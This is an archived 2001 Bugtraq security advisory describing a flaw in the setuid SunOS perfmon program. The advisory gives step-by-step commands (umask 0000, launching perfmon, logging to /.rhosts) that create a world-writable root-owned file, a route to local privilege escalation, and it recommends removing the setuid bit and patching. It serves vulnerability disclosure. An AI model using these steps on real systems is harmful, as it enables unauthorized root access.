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[ Hackerslab bug_paper ] SunOS application perfmon vulnerability

daemon@ATHENA.MIT.EDU (±è¿ëÁØ KimYongJun)
Fri Mar 23 09:11:36 2001

Message-ID:  <200103230811.RAA01496@ce.hannam.ac.kr>
Date:         Fri, 23 Mar 2001 17:11:52 +0900
Reply-To: ±è¿ëÁØ KimYongJun <s96192@CE.HANNAM.AC.KR>
From: ±è¿ëÁØ KimYongJun <s96192@CE.HANNAM.AC.KR>
To: BUGTRAQ@SECURITYFOCUS.COM

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       [ Hackerslab bug_paper ] SunOS application perfmon vulnerability

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File   :   /opt/JSParm/bin/perfmon

SYSTEM : Solaris 2.X

INFO :

parm is a program that displays system information .
parm is SunOS application.  It's  not included in Solaris basic package.

There is a vulneribility in perfmon program that you can create
any file with root privilege as follow:

$ whoami
loveyou
$ umask 0000
$ /opt/JSparm/bin/perfmon &


Choose Logging -> Logging File
In Selection part, input the file path you want to create
ex:) /.rhosts

following file is created in a second.
-rw-rw-rw-   1 root     loveyou         144 Mar  9 03:14 .rhost


SOLUTION :

remove setuid permition, contact your vendor and get a patch.



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